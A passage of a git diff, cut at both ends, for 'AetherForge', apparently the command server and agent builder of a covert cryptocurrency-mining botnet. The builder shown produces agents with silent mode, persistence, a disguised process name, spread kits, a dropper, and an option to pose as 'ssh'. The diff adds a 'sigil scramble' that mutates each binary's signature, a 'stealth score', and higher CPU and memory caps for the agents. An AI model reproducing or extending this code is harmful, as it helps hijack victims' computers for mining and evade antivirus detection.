fleetHandler.PostAlertTest) r.Get("/pools/status", fleetHandler.GetPoolStatus) r.Get("/ai/activity", fleetHandler.GetAIActivity) r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate) @@ -529,6 +536,18 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler writeJSON(w, map[string]interface{}{"success": true}) }) + // Deck backup — authenticated full backup ZIP (config + DB + users) + backupH := NewBackupHandler(dataDir, version) + r.Get("/backup", backupH.ServeHTTP) + + // Path Tracer — on-demand WireGuard chain sessions + if pathTracerHandler != nil { + r.Post("/pathtrace/start", pathTracerHandler.Start) + r.Get("/pathtrace/{id}/status", pathTracerHandler.Status) + r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR) + r.Delete("/pathtrace/{id}", pathTracerHandler.Delete) + } + // Agent autonomy REST — forged Go agents only (X-Fleet-Secret header). // Not exposed in dashboard client.ts; see agent/client and README API auth table. r.Post("/agent/decide", aiHandler.HandleDecide) diff --git a/server/internal/api/router_test.go b/server/internal/api/router_test.go index fbd0761..dfa58ca 100644 --- a/server/internal/api/router_test.go +++ b/server/internal/api/router_test.go @@ -348,7 +348,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) { cfg := &mockConfigProvider{} configHandler := NewConfigHandler(cfg) aiHandler := NewAIHandler(database) - fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}) + fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil) @@ -424,7 +424,7 @@ func TestRouterNoWebRootFallback(t *testing.T) { cfg := &mockConfigProvider{} configHandler := NewConfigHandler(cfg) aiHandler := NewAIHandler(database) - fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}) + fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index a832274..280dffa 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -2,8 +2,10 @@ package api import ( "crypto/subtle" + "database/sql" "encoding/base64" "encoding/json" + "errors" "fmt" "log" "net/http" @@ -11,6 +13,7 @@ import ( "sync" "time" + "crypto-miner-server/internal/alerts" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/pool" @@ -100,6 +103,9 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time return d.Conn.WriteControl(messageType, data, deadline) } +// cmdResultKey is used to key pending command callbacks: "agentID:action". +type cmdResultKey struct{ AgentID, Action string } + type WSHub struct { db *db.Database agents map[string]*AgentConnection @@ -115,7 +121,13 @@ type WSHub struct { serverPolicy ServerPolicy pingIntervalSec int fleetSecret string // baked into forged agents; verified on WS connect + eventNotifier *alerts.Notifier mu sync.RWMutex + + // pendingCmdCallbacks allows handlers to await a specific command_result + // from an agent (used by Path Tracer orchestration). + pendingCmdMu sync.Mutex + pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{} } func NewWSHub(database *db.Database) *WSHub { @@ -128,14 +140,15 @@ func NewWSHub(database *db.Database) *WSHub { } h := &WSHub{ - db: database, - agents: make(map[string]*AgentConnection), - dashboards: make(map[string]*DashboardConn), - agentConfigs: make(map[string]AgentForgeConfig), - agentCapabilities: make(map[string]models.AgentCapabilities), - agentLogs: make(map[string]string), - agentDNS: make(map[string][]string), - pingIntervalSec: 30, + db: database, + agents: make(map[string]*AgentConnection), + dashboards: make(map[string]*DashboardConn), + agentConfigs: make(map[string]AgentForgeConfig), + agentCapabilities: make(map[string]models.AgentCapabilities), + agentLogs: make(map[string]string), + agentDNS: make(map[string][]string), + pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}), + pingIntervalSec: 30, } // Background stale-agent sweep: if an agent's last_seen is more than @@ -206,6 +219,12 @@ func (h *WSHub) SetPingInterval(seconds int) { // SetFleetSecret stores the shared secret that all forged agents must present. // Called once at startup from main.go after config is loaded. +func (h *WSHub) SetEventNotifier(n *alerts.Notifier) { + h.mu.Lock() + h.eventNotifier = n + h.mu.Unlock() +} + func (h *WSHub) SetFleetSecret(secret string) { h.mu.Lock() h.fleetSecret = secret @@ -299,6 +318,40 @@ func (h *WSHub) connectedAgentCount() int { return len(h.agents) } +// AwaitCommandResult registers a one-shot channel that will receive the next +// command_result payload for the given agentID+action pair. Call before +// sending the command so no result is missed. The caller must read from the +// returned channel within the given timeout. +func (h *WSHub) AwaitCommandResult(agentID, action string) <-chan map[string]interface{} { + ch := make(chan map[string]interface{}, 1) + h.pendingCmdMu.Lock() + h.pendingCmdCallbacks[cmdResultKey{agentID, action}] = ch + h.pendingCmdMu.Unlock() + return ch +} + +// CancelAwait removes a pending callback without consuming it. +func (h *WSHub) CancelAwait(agentID, action string) { + h.pendingCmdMu.Lock() + delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action}) + h.pendingCmdMu.Unlock() +} + +func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]interface{}) { + h.pendingCmdMu.Lock() + ch, ok := h.pendingCmdCallbacks[cmdResultKey{agentID, action}] + if ok { + delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action}) + } + h.pendingCmdMu.Unlock() + if ok { + select { + case ch <- payload: + default: + } + } +} + func (h *WSHub) isAgentConnected(agentID string) bool { h.mu.RLock() defer h.mu.RUnlock() @@ -582,6 +635,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { clientIP = clientIP[:idx] } + prior, priorErr := h.db.GetAgent(agentID) + isNewAgent := errors.Is(priorErr, sql.ErrNoRows) + agent := &models.Agent{ ID: agentID, Name: displayName, @@ -616,8 +672,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { // two concurrent new agents could both pass the count check under RLock, then // both get registered, overshooting the limit. h.mu.Lock() + _, alreadyConnected := h.agents[agentID] if policy.MaxAgents > 0 { - _, alreadyConnected := h.agents[agentID] if !alreadyConnected && len(h.agents) >= policy.MaxAgents { h.mu.Unlock() conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ @@ -653,6 +709,23 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { Payload: mustMarshal(agent), }) + if h.eventNotifier != nil { + platform := auth.Platform + if platform == "" { + platform = "unknown" + } + if isNewAgent { + h.eventNotifier.Emit(alerts.EventAgentConnect, "AetherForge connect", + displayName+" joined the fleet ("+platform+" · "+clientIP+")") + } else if alreadyConnected { + h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect", + displayName+" took over an active session ("+clientIP+")") + } else if prior != nil && prior.Status != "online" { + h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect", + displayName+" is back online ("+platform+" · "+clientIP+")") + } + } + case "stats": if agentID == "" { continue @@ -721,7 +794,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { stats.SharesSubmitted, stats.SharesAccepted, sharesBad, stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds) - h.db.InsertHashrateSample(agentID, stats.Hashrate15m) + gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive + h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive) + + h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m) broadcast := map[string]interface{}{ "agent_id": agentID, @@ -972,6 +1048,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } payload["agent_id"] = agentID h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)}) + // Notify any handler waiting for this specific agent+action result. + if action, _ := payload["action"].(string); action != "" { + h.notifyCmdCallback(agentID, action, payload) + } } } } diff --git a/server/internal/builder/build_universal.go b/server/internal/builder/build_universal.go index fd47980..147e3d9 100644 --- a/server/internal/builder/build_universal.go +++ b/server/internal/builder/build_universal.go @@ -106,6 +106,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w }); err != nil { log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err) } + h.notifyBuildComplete(zipName, req.WorkerName, zipBytes) return BuildResponse{ Success: true, @@ -229,6 +230,7 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s }); err != nil { log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err) } + h.notifyBuildComplete(zipName, req.WorkerName, zipBytes2) return BuildResponse{ Success: true, diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 086b00f..7c08546 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -15,6 +15,7 @@ import ( "sync" "time" + "crypto-miner-server/internal/alerts" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" @@ -36,6 +37,7 @@ type BuildRequest struct { DisplayMode string `json:"display_mode"` SilentMode bool `json:"silent_mode"` RunAs string `json:"run_as"` + HostBinaryTarget string `json:"host_binary_target"` AutoStart bool `json:"auto_start"` Persistence bool `json:"persistence"` ProcessName string `json:"process_name"` @@ -80,6 +82,7 @@ type BuildRequest struct { TargetArch string `json:"target_arch"` SpreadKit bool `json:"spread_kit"` Obfuscate bool `json:"obfuscate"` + SigilScramble bool `json:"sigil_scramble"` SignBuild bool `json:"sign_build"` BackupPools []BackupPool `json:"backup_pools"` // CancelToken is a client-generated UUID. Pass the same token to @@ -126,6 +129,9 @@ type BuildResponse struct { WorkerFile string `json:"worker_file,omitempty"` Signed bool `json:"signed,omitempty"` Obfuscated bool `json:"obfuscated,omitempty"` + SigilScramble bool `json:"sigil_scramble,omitempty"` + BinaryFingerprint string `json:"binary_fingerprint,omitempty"` + StealthScore int `json:"stealth_score,omitempty"` Error string `json:"error,omitempty"` } @@ -155,7 +161,8 @@ type Handler struct { goWinresPath string serverModDir string policy BuildPolicy - fleetSecret string // injected from server config; baked into every forge output + fleetSecret string // injected from server config; baked into every forge output + eventNotifier *alerts.Notifier // Active build cancellation — maps cancel_token → cancel func so the frontend // can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}. @@ -168,6 +175,19 @@ func (h *Handler) SetFleetSecret(secret string) { h.fleetSecret = secret } +func (h *Handler) SetEventNotifier(n *alerts.Notifier) { + h.eventNotifier = n +} + +func (h *Handler) notifyBuildComplete(fileName, workerName string, sizeBytes int64) { + if h.eventNotifier == nil { + return + } + sizeMB := float64(sizeBytes) / 1024 / 1024 + h.eventNotifier.Emit(alerts.EventBuildComplete, "AetherForge forge", + fmt.Sprintf("%s ready (%.1f MB) — %s", fileName, sizeMB, workerName)) +} + // CancelBuild cancels an in-progress build identified by cancelToken. // Returns true if the token was found and cancelled, false if unknown. func (h *Handler) CancelBuild(cancelToken string) bool { @@ -631,6 +651,23 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st } } + scrambled := false + fingerprint := "" + if shouldSigilScramble(req) { + fp, err := ApplySigilScramble(finalPath, buildID) + if err != nil { + log.Printf("[Forge] sigil scramble: %v", err) + } else { + scrambled = true + fingerprint = fp + if exportPath != "" && exportPath != finalPath { + if fp2, err := ApplySigilScramble(exportPath, buildID+"-export"); err == nil { + _ = fp2 + } + } + } + } + fileInfo, err := os.Stat(finalPath) if err != nil { return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, "" @@ -683,6 +720,8 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, "" } + h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size()) + resp := BuildResponse{ Success: true, BuildID: buildID, @@ -705,6 +744,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st WorkerFile: workerName, Signed: signed, Obfuscated: obfuscated, + SigilScramble: scrambled, + BinaryFingerprint: fingerprint, + StealthScore: StealthScore(obfuscated, scrambled, signed), } if fusionEnabled && bundleDownloadURL != "" { resp.DownloadURL = bundleDownloadURL @@ -810,7 +852,7 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { req.ProcessName = sanitizeFileName(req.WorkerName) } if req.MaxMemoryPct <= 0 { - req.MaxMemoryPct = 70 + req.MaxMemoryPct = 85 } if req.CPUPriority == "" { req.CPUPriority = "below_normal" @@ -821,11 +863,14 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.RunAs == "" { req.RunAs = "user" } + if req.RunAs == "host_binary" && strings.TrimSpace(req.HostBinaryTarget) == "" { + req.HostBinaryTarget = "ssh" + } if req.MaxCPUUsagePct <= 0 { - req.MaxCPUUsagePct = 80 + req.MaxCPUUsagePct = 95 } if req.MinFreeRAMMB <= 0 { - req.MinFreeRAMMB = 1024 + req.MinFreeRAMMB = 512 } if req.IdleThresholdPct <= 0 { req.IdleThresholdPct = 20 @@ -983,8 +1028,9 @@ func GetBuiltinConfig() BuiltinConfig { MiningMode: %q, DisplayMode: %q, SilentMode: %v, - RunAs: %q, - AutoStart: %v, + RunAs: %q, + HostBinaryTarget: %q, + AutoStart: %v, ProcessName: %q, BuildID: %q, BuiltAt: time.Unix(%d, 0), @@ -1046,6 +1092,7 @@ func GetBuiltinConfig() BuiltinConfig { req.DisplayMode, req.SilentMode, req.RunAs, + req.HostBinaryTarget, req.AutoStart, req.ProcessName, buildID, diff --git a/server/internal/builder/scramble.go b/server/internal/builder/scramble.go new file mode 100644 index 0000000..091fbb4 --- /dev/null +++ b/server/internal/builder/scramble.go @@ -0,0 +1,120 @@ +package builder + +import ( + "crypto/sha256" + "encoding/binary" + "encoding/hex" + "fmt" + "hash/fnv" + "io" + "math/rand" + "os" + "path/filepath" + "strings" + "time" +) + +const sigilOverlayMagic = "AFSC\x01" + +// ApplySigilScramble mutates the built binary so each dispense has a unique on-disk +// signature (overlay entropy + optional PE timestamp). Does not change runtime logic. +func ApplySigilScramble(path, buildID string) (fingerprint string, err error) { + if path == "" { + return "", fmt.Errorf("empty path") + } + data, err := os.ReadFile(path) + if err != nil { + return "", err + } + if len(data) == 0 { + return "", fmt.Errorf("empty binary") + } + + seed := strings.TrimSpace(buildID) + if seed == "" { + seed = fmt.Sprintf("%d", time.Now().UnixNano()) + } + rng := scrambleRNG(seed) + + if isPEExecutable(path, data) { + data = patchPETimestamp(data, rng) + } + + overlay := buildSigilOverlay(seed, rng) + data = append(data, overlay...) + + if err := os.WriteFile(path, data, 0755); err != nil { + return "", err + } + + sum := sha256.Sum256(data) + fingerprint = hex.EncodeToString(sum[:8]) + return fingerprint, nil +} + +func isPEExecutable(path string, data []byte) bool { + if !strings.EqualFold(filepath.Ext(path), ".exe") { + return false + } + return len(data) > 64 && data[0] == 'M' && data[1] == 'Z' +} + +// patchPETimestamp adjusts the COFF header timestamp (bytes 8-11 after MZ). +func patchPETimestamp(data []byte, rng *rand.Rand) []byte { + out := make([]byte, len(data)) + copy(out, data) + peOff := int(binary.LittleEndian.Uint32(out[0x3c:0x40])) + if peOff < 0 || peOff+8 > len(out) { + return out + } + if string(out[peOff:peOff+4]) != "PE\x00\x00" { + return out + } + ts := uint32(time.Now().Unix()) ^ uint32(rng.Intn(1<<20)) + binary.LittleEndian.PutUint32(out[peOff+8:peOff+12], ts) + return out +} + +func buildSigilOverlay(seed string, rng *rand.Rand) []byte { + padLen := 8192 + rng.Intn(57344) + buf := make([]byte, len(sigilOverlayMagic)+len(seed)+2+padLen) + copy(buf, sigilOverlayMagic) + buf[len(sigilOverlayMagic)] = byte(len(seed) & 0xff) + copy(buf[len(sigilOverlayMagic)+1:], []byte(seed)) + off := len(sigilOverlayMagic) + 1 + len(seed) + for i := 0; i < padLen; i++ { + buf[off+i] = byte(rng.Intn(256)) + } + return buf +} + +func scrambleRNG(seed string) *rand.Rand { + h := fnv.New64a() + _, _ = io.WriteString(h, seed) + return rand.New(rand.NewSource(int64(h.Sum64()))) +} + +// StealthScore estimates how many uniqueness layers were applied (0–100). +func StealthScore(obfuscated, scrambled, signed bool) int { + score := 35 // polymorph is always injected at compile time + if obfuscated { + score += 30 + } + if scrambled { + score += 20 + } + if signed { + score += 15 + } + if score > 100 { + return 100 + } + return score +} + +func shouldSigilScramble(req *BuildRequest) bool { + if req.SigilScramble { + return true + } + return false +} diff --git a/server/internal/builder/scramble_test.go b/server/internal/builder/scramble_test.go new file mode 100644 index 0000000..6daa95a --- /dev/null +++ b/server/internal/builder/scramble_test.go @@ -0,0 +1,41 @@ +package builder + +import ( + "os" + "path/filepath" + "testing" +) + +func TestApplySigilScrambleChangesFile(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "worker.exe") + orig := []byte{'M', 'Z', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0x40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 'P', 'E', 0, 0, 0, 0, 0, 0} + if err := os.WriteFile(path, orig, 0755); err != nil { + t.Fatal(err) + } + fp1, err := ApplySigilScramble(path, "build-a") + if err != nil { + t.Fatal(err) + } + st1, _ := os.Stat(path) + fp2, err := ApplySigilScramble(path, "build-b") + if err != nil { + t.Fatal(err) + } + st2, _ := os.Stat(path) + if st1.Size() == st2.Size() && fp1 == fp2 { + t.Fatalf("expected different fingerprint/size got %s %s", fp1, fp2) + } +} + +func TestStealthScore(t *testing.T) { + if StealthScore(true, true, true) < 90 { + t.Fatal("expected high score") + } + if StealthScore(false, false, false) != 35 { + t.Fatalf("got %d", StealthScore(false, false, false)) + } +} diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index f780a1f..ad9661a 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -126,6 +126,10 @@ func (d *Database) migrate() error { _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_hashrate_15m REAL DEFAULT 0`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`) + _, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`) return nil } @@ -164,6 +168,14 @@ func (d *Database) UpdateAgentStats(id string, hashrate15s, hashrate1m, hashrate return err } +func (d *Database) UpdateAgentGPUStats(agentID string, hashrate float64, model string, active bool) error { + _, err := d.Exec( + `UPDATE agents SET gpu_hashrate_15m = ?, gpu_model = ?, gpu_miner_active = ? WHERE id = ?`, + hashrate, model, boolToInt(active), agentID, + ) + return err +} + func (d *Database) SetAgentOffline(id string) error { _, err := d.Exec("UPDATE agents SET status = 'offline' WHERE id = ?", id) return err @@ -276,13 +288,16 @@ func (d *Database) GetRecentShares(limit int) ([]*models.Share, error) { // Hashrate operations -func (d *Database) InsertHashrateSample(agentID string, hashrate float64) error { - _, err := d.Exec("INSERT INTO hashrate_samples (agent_id, hashrate, timestamp) VALUES (?, ?, ?)", agentID, hashrate, time.Now()) +func (d *Database) InsertHashrateSample(agentID string, hashrate float64, gpuHashrate float64) error { + _, err := d.Exec( + "INSERT INTO hashrate_samples (agent_id, hashrate, gpu_hashrate, timestamp) VALUES (?, ?, ?, ?)", + agentID, hashrate, gpuHashrate, time.Now(), + ) return err } func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.HashrateSample, error) { - query := `SELECT id, agent_id, hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?` + query := `SELECT id, agent_id, hashrate, gpu_hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?` rows, err := d.Query(query, agentID, limit) if err != nil { return nil, err @@ -292,7 +307,7 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash var samples []*models.HashrateSample for rows.Next() { s := &models.HashrateSample{} - if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.Timestamp); err != nil { + if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.GPUHashrate, &s.Timestamp); err != nil { return nil, err } samples = append(samples, s) @@ -427,13 +442,14 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) { // Stats type FleetStats struct { - TotalAgents int `json:"total_agents"` - OnlineAgents int `json:"online_agents"` - TotalHashrate float64 `json:"total_hashrate"` - TotalShares int `json:"total_shares"` - AcceptedShares int `json:"accepted_shares"` - RejectedShares int `json:"rejected_shares"` - AcceptRate float64 `json:"accept_rate"` + TotalAgents int `json:"total_agents"` + OnlineAgents int `json:"online_agents"` + TotalHashrate float64 `json:"total_hashrate"` + TotalGPUHashrate float64 `json:"total_gpu_hashrate"` + TotalShares int `json:"total_shares"` + AcceptedShares int `json:"accepted_shares"` + RejectedShares int `json:"rejected_shares"` + AcceptRate float64 `json:"accept_rate"` } func (d *Database) GetFleetStats() (*FleetStats, error) { @@ -454,6 +470,11 @@ func (d *Database) GetFleetStats() (*FleetStats, error) { return nil, err } + err = d.QueryRow("SELECT COALESCE(SUM(gpu_hashrate_15m), 0) FROM agents WHERE status = 'online'").Scan(&stats.TotalGPUHashrate) + if err != nil { + return nil, err + } + err = d.QueryRow("SELECT COALESCE(SUM(shares_total), 0) FROM agents").Scan(&stats.TotalShares) if err != nil { return nil, err diff --git a/server/internal/db/sqlite_test.go b/server/internal/db/sqlite_test.go index 77ae74d..0044d3f 100644 --- a/server/internal/db/sqlite_test.go +++ b/server/internal/db/sqlite_test.go @@ -193,10 +193,10 @@ func TestHashrateSampleHistory(t *testing.T) { d := openTestDB(t) seedAgent(t, d, "hr-agent") - if err := d.InsertHashrateSample("hr-agent", 150.5); err != nil { + if err := d.InsertHashrateSample("hr-agent", 150.5, 0); err != nil { t.Fatal(err) } - if err := d.InsertHashrateSample("hr-agent", 200.0); err != nil { + if err := d.InsertHashrateSample("hr-agent", 200.0, 10.0); err != nil { t.Fatal(err) } diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index 5f85465..abc5a3f 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -117,10 +117,11 @@ type Share struct { } type HashrateSample struct { - ID int64 `json:"id"` - AgentID string `json:"agent_id"` - Hashrate float64 `json:"hashrate"` - Timestamp time.Time `json:"timestamp"` + ID int64 `json:"id"` + AgentID string `json:"agent_id"` + Hashrate float64 `json:"hashrate"` + GPUHashrate float64 `json:"gpu_hashrate,omitempty"` + Timestamp time.Time `json:"timestamp"` } type Job struct { diff --git a/server/main.go b/server/main.go index 29dfabe..15676aa 100644 --- a/server/main.go +++ b/server/main.go @@ -195,6 +195,12 @@ func main() { } }() + eventNotifier := alerts.NewNotifier(func() alerts.Settings { + return cfg.AlertSettings() + }) + wsHub.SetEventNotifier(eventNotifier) + builderHandler.SetEventNotifier(eventNotifier) + // Fleet alert evaluator (thresholds from Calibrate → alerts config) alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds { return alerts.Thresholds{ @@ -202,19 +208,8 @@ func main() { HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct, RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct, } - }, func() alerts.NotifyConfig { - // Read live from cfg so Calibrate changes take effect without restart. - return alerts.NotifyConfig{ - TelegramBotToken: cfg.Alerts.TelegramBotToken, - TelegramChatID: cfg.Alerts.TelegramChatID, - EmailEnabled: cfg.Alerts.EmailEnabled, - SMTPHost: cfg.Alerts.SMTPHost, - SMTPPort: cfg.Alerts.SMTPPort, - SMTPUser: cfg.Alerts.SMTPUser, - SMTPPassword: cfg.Alerts.SMTPPassword, - EmailTo: cfg.Alerts.EmailTo, - EmailFrom: cfg.Alerts.EmailFrom, - } + }, func() alerts.Settings { + return cfg.AlertSettings() }, func(ev alerts.AlertEvent) { wsHub.BroadcastFleetAlert(ev) }) @@ -230,7 +225,7 @@ func main() { } }() - fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg) + fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg, cfg.DataDir) // Initialize blueprint handler (config presets) blueprintHandler := api.NewBlueprintHandler(cfg.DataDir) @@ -244,12 +239,15 @@ func main() { // Path Forge: server-side recursive file seeding pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir) + // Path Tracer: on-demand WireGuard multi-hop VPN builder + pathTracerHandler := api.NewPathTracerHandler(wsHub) + // Find web root for frontend webRoot := findWebRoot() log.Printf("Web root: %s", webRoot) // Initialize router - router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, webRoot, cfg.DataDir, func() string { + router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string { return configProvider.PublicURL() }) log.Println("Router initialized") diff --git a/server/web/index.html b/server/web/index.html index dc16464..3e70617 100644 --- a/server/web/index.html +++ b/server/web/index.html @@ -5,8 +5,11 @@ - + + + + AetherForge — Command Deck diff --git a/server/web/src/App.test.tsx b/server/web/src/App.test.tsx index 58b2761..0ee1963 100644 --- a/server/web/src/App.test.tsx +++ b/server/web/src/App.test.tsx @@ -12,6 +12,10 @@ vi.mock('./context/WebSocketProvider', () => ({ WebSocketProvider: ({ children }: { children: ReactNode }) => <>{children}, })); +vi.mock('./components/Sound/SoundBridge', () => ({ + default: () => null, +})); + vi.mock('./context/ForgeContext', () => ({ ForgeProvider: ({ children }: { children: ReactNode }) => <>{children}, })); diff --git a/server/web/src/App.tsx b/server/web/src/App.tsx index e4da0fd..28a4d47 100644 --- a/server/web/src/App.tsx +++ b/server/web/src/App.tsx @@ -3,8 +3,11 @@ import { Routes, Route, Navigate } from 'react-router-dom'; import SessionGate from './components/SessionGate'; import Layout from './components/Layout/Layout'; import { WebSocketProvider } from './context/WebSocketProvider'; +import { SoundProvider } from './context/SoundContext'; +import { VisualEffectsProvider } from './context/VisualEffectsContext'; import { ForgeProvider } from './context/ForgeContext'; import { MatrixRainProvider } from './context/MatrixRainContext'; +import SoundBridge from './components/Sound/SoundBridge'; const DashboardPage = lazy(() => import('./pages/DashboardPage')); const AgentsPage = lazy(() => import('./pages/AgentsPage')); @@ -13,6 +16,7 @@ const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage')); const SettingsPage = lazy(() => import('./pages/SettingsPage')); const GuidePage = lazy(() => import('./pages/GuidePage')); const CruciblePage = lazy(() => import('./pages/CruciblePage')); +const PathTracerPage = lazy(() => import('./pages/PathTracerPage')); export function PageFallback() { return ( @@ -27,6 +31,9 @@ function App() { // WebSocketProvider mounts a single WS connection shared by all routes. // No page or component should call new WebSocket() directly — use useWebSocket(). + + + @@ -42,12 +49,15 @@ function App() { } /> } /> } /> + } /> + + ); } diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 08e0ff6..8b8e20f 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -1,4 +1,4 @@ -import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice } from '../types'; +import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types'; import { authHeaders } from './auth'; const API_BASE = '/api/v1'; @@ -136,6 +136,10 @@ export const api = { // Fleet ops getAlerts: () => fetchJSON('/alerts'), + testAlerts: () => + fetchJSON>('/alerts/test', { + method: 'POST', + }), getPoolStatus: () => fetchJSON('/pools/status'), getAIActivity: () => fetchJSON('/ai/activity'), getEarningsEstimate: (hashrate: number) => @@ -157,6 +161,22 @@ export const api = { getAgentLog: (id: string, refresh = false) => fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`), + downloadAgentLog: async (id: string): Promise => { + const res = await fetch(`${API_BASE}/agents/${id}/log?download=1`, { + headers: { ...authHeaders() }, + }); + if (!res.ok) throw new Error(`Log download failed: ${res.status}`); + const blob = await res.blob(); + const url = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = url; + a.download = `agent-${id.slice(0, 8)}.log`; + document.body.appendChild(a); + a.click(); + document.body.removeChild(a); + URL.revokeObjectURL(url); + }, + updateAgentMeta: (id: string, notes: string, tags: string[]) => fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, { method: 'PUT', @@ -187,9 +207,44 @@ export const api = { // XMR market price (server-side CoinGecko cache, refreshed every 10 min) getXmrPrice: () => fetchJSON('/market/xmr'), + // Path Tracer — WireGuard 